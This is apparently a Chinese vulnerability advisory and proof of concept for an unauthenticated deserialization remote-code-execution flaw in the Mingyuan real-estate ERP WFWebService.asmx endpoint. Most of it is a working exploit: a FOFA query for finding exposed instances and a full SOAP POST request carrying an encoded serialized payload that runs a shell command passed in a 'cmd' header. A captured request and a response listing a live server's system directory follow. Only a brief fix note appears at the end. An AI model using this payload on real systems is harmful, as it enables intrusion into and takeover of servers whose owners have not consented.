

明源地产ERP WFWebService.asmx 反序列化命令执行漏洞

漏洞描述

明源地产ERP WFWebService.asmx 接口处存在反序列化远程代码执行漏洞，未经身份验证的远程攻击者可利用此漏洞执行任意系统命令，写入后门文件，获取服务器权限。

影响版本

明源地产ERP

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: title="明源地产ERP"

POC/EXP:

POST /MyWorkflowManagement/WebService/WFWebService.asmx HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/37.0.2049.0 Safari/537.36

Content-Type: text/xml; charset=utf-8

SOAPAction: "<http://tempuri.org/WriteLog>"

cmd: dir

```
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
```

H4sIAGW+k2UA/+1ZXWwCV/W/M17vxzje2HGaNunXpkITpwnbdWznozRNHdtJtnFij+skLWm0md29tq
eZndnOzLp2Higv9E/hpQiEEAKJJ1QkJCpUQYVoVQkCf0pgkp9pOpDVfGA6BMCUDh097szs147zlcV89
cfenf7Nxzv84599xzzj0rNCHEFRT+sqzTAU6WFv1A1vNjZmDuzp2Vnm+5zsE9+QI/u3OjTTtoevKgI5u
BZ9q7c1PNim1Vj8vFafeSdA5W9u0zh6vDewcODA7Jww4DnZy8r21OBUoyMIDfFL3nT8u6G1jO7BHXq
5tBX4yOfk+addkb41jxG2ZVZmPMICdnrIU74uqo6cuSdHwrsObIhhg74VZNW06MFse2xKhxZ8b1qnL
UdXywyJmBv9S0EEinJmtTntuQXmBJf2PcNG1WbOnnR92mE/QsR5YLCU0jv7pI3d/Ockl6lmlbl80Asgx
5pKi1tJbW+dL5L+zCjUZw4tS8aTdluSzSajyeZII7lyFUIIQGmzKdAOsJPn6ANK3c7gRfXohWHXVtW1a5m
p8/Kh0sX81PWH5wceD8+ajLZOVZ9Nidq/tV17OtyM3QjgsXOshD2cL8fmfZty7LdHk+nBWEp9MZ8pm
Knh5W0uSMo0KeyV4mScAeGdWaoQTWUCmHiPRzrndpxnafB5v1hutIjzh1iToizkYvFkOBgcqM4P7h/
eatcG9Q3JwujOkPhv9ZzbvZn4EYp63gsVS0/PcWTOAtLl0rrcrIHALH9ej0bj2Ws5QBllgsSG76JekR61x
e/ojJXnjMOJ25c75to16VEYmS6CdVQcik7JsjsgSxQFqVDrCXqlolgVqpdgA1EUskL1EWxUShyj7iDYRPq4
AfesoljHHT8u4FHHnMaEa9aOmGQ8FW1DmnlzPen1sOcoZlcDOG+B/jQRJcgggZ3wk2d5DHys2yE6O
7vSq61VjOfavlrjVfP/5dT+Q5StYSgp3UlwF3lh9UbSjfsj7kRG9ZjG9qwb8X1skL1le6VBSsnN6PQPLZppw
nKegwFq1qVHeew6Nye9SA946ooB8BDMxT2t03d4MZDnL9ze07c7nhyKFckmH9N9m885NS65pc2/j
LqebD9/w59t5h7qsr6d3P3Mvfw9V7aCeqIMNjPwjmNes6dTN53vV14LNyBE6azGO/A47VyeWCobR/
WXFStTaEarcEuZLgLPtzzFagE9Al8QigmQxIWI7MVSDuh0RloocF9il9uQnWXsKso8O1npYwPnFMS7
KiMVQqplxr5sFQbO3qRQOpJLUDYGfsDWQlf6bIH4QYgefafn7KnJU1FTS4TYQe6IA8BHBiachnob0wO
DM8s29mYKA2XDAHZR6aakUwjXplaTpNFwBqo69CarTiiu6dbXSvcF5j0rdmnehHeqCuouh+GKAYDrk
N8u6hLyG53Xpml6jX+RSSqdGxKCq/ADAUn0PEX1ZdtkLH/Oic6TgSQh6ZnfUk/eeYpc6p6S0qgvMAx2
+jivTQ16IAi46yhy6DHiQMRFs8QgdCVHKAzB2Tu0m97CuXvckaLJuIQBbCxdwnQAMLeuXrXz+AgKyw
YhpPglazwfiuBUmllxmrvKPKm6L21N1Gcy5tUJHR+HGI3fFbeM4QYuPXG2DT6goqlhQfpXRmSFuxTA
ppUv4emzCri3rXZEjg+laW7FTIxM21uy0cNFYSEUyT1UR/OHoQfap/2vNSKd12gxVDI0+QTnXvQT7qAE
0hAq1n+AAUTy66uA+SvBF2iGIMEpbWNMzj6koy0hwb25ZA3isVPibNiPnmwxMb1YGG8lfOpnYLWeX
UAzCjFDv+NoNu7Y0p6bpuLbdujYmD4KYd2OdOtj0qv854ZpyfEaGjJP5BMCWa6+cHOGeMjg3Ejxqt3
plaTwT3jVlIXNm1MYOq7cS/I5J+o1wHm5oT3QQRrxZnFdc3bGDmuhld7cFG+cvZEiaYijDjpljAA9dm5
McmegPd24nPY+hUdmpqMlxgN/pq+/1vy8kXM0UFjeirjaLSabB49qpWLg7RXqJo+GB9Q2NJob6lCG+r
dsEwF3LtkXD+qPdo32SO3aCYDfXOOE/n+LR9uP5BSji2gxIU6gw0qeAjY76kkYqCjYwqZTIYZGs6zEyN
ZQjBydnG6L+Ej6c8uH9rfjKZlrjboKxM4A7LhuuAhs3XRqxTEVRjNW7KE3UAHSuTAqzSG+oDMQiK/1E1
96WTKodr9yRYjXl8fDLb9R+Qr5vv+XWfFa5u2tr2sTb2+dnrP8XANZFM+s56qlC90gV5E5r+nkLCC3Nln
K1UFsvrvb2B7NMYUDPqF1iFNvfkvG874v9K1dzG+Qe5oplPcY4YPykDAavoMrIuL6G8RRW6VQ3ziq4
pLXiRav60fVW7GvMejKV+Jxi0rF5GfvQlZXFVAn4r1o5JG/VhbPR/IhQC/H5A/8sLOK9YH+mLe870q3hVt5
F3dhZb3A/qjvCdtF0VraBZzcXL5v+h1eS+RblikLadFwECog3LuI+ECcrb7XcXegQvw7D1F69H5p9lNiW
0i6mNRwwS1eEU0YLhg2fGSsjK6UC4YMD0MaLtQcHcCF4S3YHi44TVc8GGsi3ohndNI9+OKbLjYRyPE
3umiX+sd17DofZOLmxbecckxdqRcXGgMF7cHozuklePi8mC817HjPRERhZtDTB8WMh4WmlKWB8T//
Fh0gAztcOnjw0grhXI7PPO0LMOFFXtoNiE/G/BXaN72ZSH6sQdMOG8rBR5uSsibCff9SIO6v+1MSbyFd
06/7eiZl3kh1B/mfXDtluj5Inh2tGNumBqT/xTGxQgn6tza+NcNDNc8TsfnmccqSUhIUuwE/UlxVuwFnA
c0xCviB4BvKfhnwKy4G0nxrNgGalHjJZgXtVlkn+qcex2fyueFGMKWjrTErGGHLLoEbyFdaraFLVZvHhXQ
VHQKwqYazOgAR4lt4rXEL1uFe/g2Sn+pDB/EzvEgNCx9gHV54AYQkg7lg5rBbSe14ZFUXwPZvCU+JF2S
Dwtfq6NofUNtl6l/9WeBPxQQaE/ibEb9UnAAb0kLDGpP4WZn9YLgGXE1QNCAuZhTiVgn3DEMyJbm7
GsfHvFYdSUjffj+iC3ITgNko7KYzDLTVs+Li7X5iqX/D2FfM22xbilfZMIzbglfYDIMx8b4Vp3bJp4y5Yeord5
q4rEa4hQqdxpaZsL6s0fCaBfIWygRTRQpWADq2LZyloutcaUxMsg6yGOBUGDaRJaIwTt5dHwHqTwX
FZ6Zwl1jWoNMWLUlqY3jmy5p/qdxh9DIEOqLq2K6hQvNwZs47rB1bVF8j9gpfWbwnXhYAxarhCq+a
jdgTcMxaNlnkOyeeQzPh9lfis1JDVKG8vOFblrjc6qOHHplkiI2FfVsjnVRXhCIV+nagZq6VaEq2qnZc3y+J8
AXHTN9GqTzaDRDDuubArlwpYz+ENsDhmH8QVZpfwVbzHjXukuKs36aUvLzHz77NPYIKiVP9PuuFMT
5zzkDMQRu+nPCdbHF6qyoRiDW6+KuqhBr6VYwCNSYV2kHhFV5WSE+NnbH3wnd/zNYy/1f/ebLz7sq
4n0Ly4/c3bz0PsvdeTw/0RO09LpVw+VX+h913gU5mhDbylnNtxBsJlgK3tk+fYgwU5Us9lOoWezQOJCh
0l0NgzgjZtOjTb0brg3m2XiS61+Hw3EtL7pnGc2TrpOi/bpOc993qcleT3yRyy/j33+KiX2W0KUkdEes+0T
+CcxPFxSqqPGcuVBkbuZSOBzEtsv+iM4wRUWMbTyhVXwcezwFMQ80WYKJ3ReBM6KkigDjovTeCuKS
XES9SLgEbyzvJH46jPVoo1DbXHdyrCMvILDrKbwMI8FnyspxyNmhKvat6tR02g1gfXRbooA/VzUwvjQ4i
dYUGnNAXpZwM+uMtPXVJ9C6zMkKpSB2K3+1I37j+Hxcb44T2PZOITdAjR/qe9ZPLANbX0KOK1LD9yG

6EZ/0hCovg5otyEvEyeZAFjInOc50HEjs+xRo2poD7W9X9E1gX6zatQoVmmIRUXZLEYx3iRNY2qNyQhP
7tk7ppG1G681pPiawhwusE3wH1zF3Ure9qsl+jho2cdM9ugLnfDcZ+XNSxQCMax7zPj8nn5rysJlgW6
opjkaNOqMc+gl029XNHLVb1c08tSL8/o5Vm9PKExLb38rF6+1H6xTaX0qPT1vRP89eE/9n7jY/HD367f
8feurk8BzkdZX+skAAA=

[/soap:Body](#)
[/soap:Envelope](#)

发送请求

强制 HTTPS

历史

</> 生

Request

< > 数据包扫描 热加载 构造请求

1 POST /MyWorkflowManagement/WebService/WFWebService.asmx HTTP/1.1

2 Host:

3 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

4 Content-Type: text/xml; charset=utf-8

5 SOAPAction: http://tempuri.org/WriteLog

6 cmd: dir

7

8 <?xml version="1.0" encoding="utf-8"?>

9 <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

10 <soap:Body>

11 <WriteLog xmlns="http://tempuri.org/">

12 <request>H4sIAGW+K2UA/+1ZXWwcV/W/

M17vxzje2HGaNunXpkLTpwnbdWznzRNHdtJtnFiJ

+skLWm0md29tqeZndnOzLp2Higv9E/

hpQiEEAKJJ1Qk3CpUQYVoVQk3Cf0pgkp9p0pDVfGA6BMCUdH097szs147

z1cV89cfenfn7Nxzv84599xzzj0rNCHEFRT

+sqzTAU6WfV1A1vNjZmDuzp2Vnm+5zsE9+QI/

u30jTTtoevKgISuBZ9q7c1PNim1Vj8vFafeSdA5W9u0zh6vDewcODA7Jw

v4DnZy8r21OBuoyMIDFFL3nT8u6G1j07BHxq5tBX4y0fk

+addkb41jxG2ZVzmPM1CdnrIU74uqo6cuSdHwrs0b1hhg74VZNW06MFse

2xKhxZ8b1qnLUdXywyjmBv9S0EEinJmtTntuQxmB3f2PcNG1Wb0nnR92m

E/QsR5YLCU0jv7pI3d/Ockl6lmlb180Asgx5pKi1tJbW+dL5L

+zCjUZw4tS8aTdluSzsajyeZII7lyFUIIQGmzKdAosJPN6ANK3c7gRfXo

hWwXVtW1a5mp8/Kh0sX81PWH5wceD8+ajLZOVZ9Nidq/

tV170tym3QjgsX0shD2cL8fmfZty7LDHk

+nBwEp9Mz8pmKnh5W0uSMo0KeyV4mScAeGdWaoQTWUcHMiPRzrndpxnaf

B5v1hutIJzjh1iToizKYvfk0BgqM4P7h/

eatcG9Q3Jwu30KPhv9ZzBvZn4EYp63gsVS0/

PcWTOAt1L0rrrc1HALH9ej0bJ2Ws5Q8IlgSgS676rJekR61xe/

Responses https 5960bytes / 173ms 美化 详情

1 HTTP/1.1 200 OK

2 Cache-Control: private, max-age=0

3 Server: Microsoft-IIS/10.0

4 X-UA-Compatible: IE=EmulateIE8

5 Date: Tue, 05 Nov 2024 13:22:47 GMT

6 Content-Length: 5960

7

8 驱动器 C 中的卷没有标签。

9 卷的序列号是 70F9-87D1

10

11 C:\Windows\System32\inetsrv 的目录

12

13 2024/07/17 15:28 <DIR>

14 2024/07/17 15:28 <DIR>

15 2024/07/17 11:28 <DIR> 0804

16 2024/07/17 11:24 203,264 abocomp.dll

17 2024/07/17 11:25 285,184 adsiis.dll

18 2024/07/17 11:25 108,032 appcmd.exe

19 2018/09/15 15:14 3,810 appcmd.xml

20 2024/07/17 11:24 68,096 apphostsvc.dll

21 2024/07/17 11:25 356,352 appobj.dll

22 2024/07/17 11:24 397,824 asp.dll

23 2024/07/17 11:24 22,196 asp.mof

24 2024/07/17 11:26 116,736 aspnetca.exe

25 2024/07/17 11:24 23,040 asptlb.tlb

26 2024/07/17 11:26 31,232 authanon.dll

27 2024/07/17 11:25 32,256 authbas.dll

28 2024/07/17 11:25 22,528 authcert.dll

29 2024/07/17 11:23 38,912 authmap.dll

30 2024/07/17 11:24 34,304 authmd5.dll

31 2024/07/17 11:25 46,080 authsspi.dll

32 2024/07/17 11:24 56,832 browscap.dll

33 2024/07/17 11:27 34,474 browscap.ini

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本